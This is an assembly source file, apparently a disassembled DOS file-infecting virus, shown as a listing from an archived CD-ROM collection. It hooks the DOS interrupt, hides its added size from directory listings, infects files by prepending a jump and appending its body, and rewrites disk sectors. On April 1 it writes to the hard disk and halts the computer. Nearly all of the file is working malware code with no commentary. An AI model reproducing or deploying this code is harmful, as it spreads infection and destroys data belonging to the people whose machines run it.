home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / CV.ASM < prev    next >
Assembly Source File  |  1995-09-05  |  4KB  |  274 lines

  1.     PAGE    60,132
  2. ;
  3. XSEG    SEGMENT
  4. ;    Seg=01387H
  5. ;    Org=00000H
  6.     ASSUME CS:XSEG
  7. XPROC    PROC FAR
  8.     JMP    L6551
  9.     DEC    BX
  10.     PUSH    BX
  11.     PUSH    CX
  12.     CALL    L0009
  13. L0009:    POP    SI
  14.     SUB    SI,+09H
  15.     PUSH    SI
  16.     CLD
  17.     MOV    DI,0100H
  18.     MOV    CX,0005H
  19.     MOVSB
  20.     JMP    L01CE
  21. L001A:    PUSHF
  22.     PUSH    CS
  23.     CALL    WORD PTR CS:[08C0H]
  24.     DB    0C3H; RET  
  25.     STI
  26.     CMP    AH,4BH
  27.     JE    L0061
  28.     CMP    AH,11H
  29.     JE    L0035
  30.     CMP    AH,12H
  31.     JE    L0035
  32.     JMP    L01C0
  33. L0035:    CALL    L001A
  34.     PUSH    AX
  35.     PUSH    BX
  36.     PUSH    ES
  37.     MOV    AH,2FH
  38.     CALL    L001A
  39.     MOV    AX,534BH
  40.     CMP    ES:[BX+1EH],AX
  41.     JNE    L0050
  42.     MOV    AX,0254H
  43.     SUB    ES:[BX+24H],AX
  44. L0050:    POP    ES
  45.     POP    BX
  46.     POP    AX
  47.     RET    0002H; 0CAH
  48. L0056:    MOV    BX,0F200H
  49.     MOV    CX,0001H
  50.     MOV    DH,00H
  51.     INT    13H
  52.     DB    0C3H; RET  
  53. L0061:    PUSHF
  54.     PUSH    SS
  55.     PUSH    AX
  56.     PUSH    BX
  57.     PUSH    CX
  58.     PUSH    DX
  59.     PUSH    DS
  60.     PUSH    ES
  61.     PUSH    SI
  62.     PUSH    DI
  63.     XOR    AX,AX
  64.     MOV    DS,AX
  65.     MOV    DI,DS:[0194H]
  66.     MOV    ES,DS:[0196H]
  67.     MOV    AX,WORD PTR DS:[004CH]
  68.     MOV    BX,DS:[004EH]
  69.     MOV    CX,0F000H
  70.     MOV    DX,0EC59H
  71.     MOV    DS:[0100H],DX
  72.     MOV    DS:[0102H],CX
  73.     MOV    WORD PTR DS:[0198H],AX
  74.     MOV    DS:[019AH],BX
  75.     MOV    DS:[004CH],DI
  76.     MOV    DS:[004EH],ES
  77.     PUSH    CS
  78.     POP    DS
  79.     PUSH    CS
  80.     POP    ES
  81.     MOV    AH,19H
  82.     CALL    L001A
  83.     CMP    AL,01H
  84.     JNBE    L00BB
  85.     MOV    DL,AL
  86.     MOV    AX,0201H
  87.     CALL    L0056
  88.     MOV    AX,0301H
  89.     CALL    L0056
  90.     CMP    AH,00H
  91.     JNE    L00D0
  92. L00BB:    MOV    AH,2AH
  93.     CALL    L001A
  94.     CMP    DX,0401H
  95.     JNE    L00D3
  96.     MOV    AX,030FH
  97.     MOV    DL,80H
  98.     CALL    L0056
  99.     CLI
  100.     HLT
  101. L00D0:    JMP    L01A4
  102. L00D3:    MOV    AH,2FH
  103.     CALL    L001A
  104.     MOV    CS:[08B0H],ES
  105.     MOV    CS:[08B2H],BX
  106.     MOV    AH,4EH
  107.     MOV    DX,0BD5H
  108.     MOV    CX,0000H
  109.     CALL    L001A
  110.     JB    L00D0
  111. L00EF:    MOV    AX,534BH
  112.     CMP    ES:[BX+16H],AX
  113.     JNE    L0101
  114. L00F8:    MOV    AH,4FH
  115.     CALL    L001A
  116.     JB    L00D0
  117.     JMP    SHORT L00EF
  118. L0101:    MOV    CX,05DCH
  119.     CMP    ES:[BX+1AH],CX
  120.     JBE    L00F8
  121.     PUSH    ES
  122.     POP    DS
  123.     MOV    AX,3D02H
  124.     MOV    DX,BX
  125.     ADD    DX,+1EH
  126.     CALL    L001A
  127.     MOV    WORD PTR CS:[0C65H],AX
  128.     MOV    BX,AX
  129.     PUSH    CS
  130.     POP    DS
  131.     MOV    AH,3FH
  132.     MOV    DX,0A10H
  133.     MOV    CX,0005H
  134.     CALL    L001A
  135.     MOV    DX,5A4DH
  136.     CMP    DS:[0A10H],DX
  137.     JE    L019A
  138.     MOV    DI,0C67H
  139.     MOV    AL,0E9H
  140.     MOV    [DI],AL
  141.     INC    DI
  142.     MOV    BX,DS:[08B2H]
  143.     MOV    CX,ES:[BX+1AH]
  144.     INC    CX
  145.     INC    CX
  146.     MOV    [DI],CX
  147.     INC    DI
  148.     INC    DI
  149.     MOV    AX,534BH
  150.     MOV    [DI],AX
  151.     MOV    BX,CS:[0C65H]
  152.     MOV    AX,4200H
  153.     XOR    CX,CX
  154.     XOR    DX,DX
  155.     CALL    L001A
  156.     MOV    AH,40H
  157.     MOV    DX,0C67H
  158.     MOV    CX,0005H
  159.     CALL    L001A
  160.     MOV    AX,4202H
  161.     XOR    CX,CX
  162.     XOR    DX,DX
  163.     CALL    L001A
  164.     PUSH    CS
  165.     POP    DS
  166.     MOV    BX,CS:[0C65H]
  167.     MOV    AH,40H
  168.     MOV    DX,0A10H
  169.     MOV    CX,0254H
  170.     CALL    L001A
  171.     JB    L019A
  172.     MOV    BX,CS:[0C65H]
  173.     MOV    AX,5700H
  174.     CALL    L001A
  175.     MOV    AX,5701H
  176.     MOV    CX,534BH
  177.     CALL    L001A
  178. L019A:
  179.     MOV    BX,CS:[0C65H]
  180.     MOV    AH,3EH
  181.     CALL    L001A
  182. L01A4:    XOR    AX,AX
  183.     MOV    DS,AX
  184.     MOV    AX,WORD PTR DS:[0198H]
  185.     MOV    BX,DS:[019AH]
  186.     MOV    WORD PTR DS:[004CH],AX
  187.     MOV    DS:[004EH],BX
  188.     POP    DI
  189.     POP    SI
  190.     POP    ES
  191.     POP    DS
  192.     POP    DX
  193.     POP    CX
  194.     POP    BX
  195.     POP    AX
  196.     POP    SS
  197.     POPF
  198. L01C0:
  199.     JMP    WORD PTR CS:[08C0H]
  200.     SUB    CH,DS:[6F63H]
  201.     DB    6DH
  202.     ADD    [BX+SI+0CF03H],DH
  203. L01CE:    MOV    AX,0070H
  204.     MOV    ES,AX
  205.     MOV    DI,0000H
  206.     MOV    AX,80FBH
  207. L01D9:    CLD
  208.     MOV    CX,0FFFFH
  209.     SCASW
  210.     JE    L01E6
  211.     MOV    DI,0001H
  212.     JMP    SHORT L01D9
  213. L01E6:    MOV    BX,02FCH
  214.     CMP    ES:[DI],BX
  215.     JNE    L01DD
  216.     DEC    DI
  217.     DEC    DI
  218.     XOR    AX,AX
  219.     MOV    DS,AX
  220.     MOV    DS:[0194H],DI
  221.     MOV    DS:[0196H],ES
  222.     MOV    ES,DS:[009EH]
  223.     MOV    BX,DS:[00A0H]
  224.     PUSH    CS
  225.     POP    DS
  226.     MOV    DX,BP
  227.     MOV    BP,DS
  228.     POP    SI
  229.     PUSH    SI
  230.     MOV    DI,0A10H
  231.     MOV    CX,0255H
  232.     MOVSB
  233.     PUSH    ES
  234.     LEA    DI,[BX+1BH]
  235.     MOV    AL,0E9H
  236.     STOSB
  237.     MOV    AX,0A30H
  238.     SUB    AX,DI
  239.     STOSW
  240.     MOV    AX,9090H
  241.     STOSW
  242.     STOSW
  243.     MOV    ES:[08C0H],DI
  244.     MOV    AX,SS
  245.     SUB    AX,0018H
  246.     CLI
  247.     MOV    SS,AX
  248.     PUSH    CS
  249.     POP    SS
  250.     STI
  251.     MOV    DS,BP
  252.     MOV    BP,DX
  253.     POP    ES
  254.     PUSH    CS
  255.     POP    ES
  256.     POP    SI
  257.     POP    CX
  258.     XOR    DX,DX
  259.     XOR    SI,SI
  260.     XOR    AX,AX
  261.     XOR    BX,BX
  262.     MOV    DI,0100H
  263.     JMP    DI
  264.     DEC    BP
  265.     DB    69H
  266.     DB    6CH
  267.     DB    65H
  268.     DB    6EH
  269.     DB    61H
  270.     AND    [BP+DI+02H],CL
  271. XPROC    ENDP
  272. XSEG    ENDS
  273.     END
  274.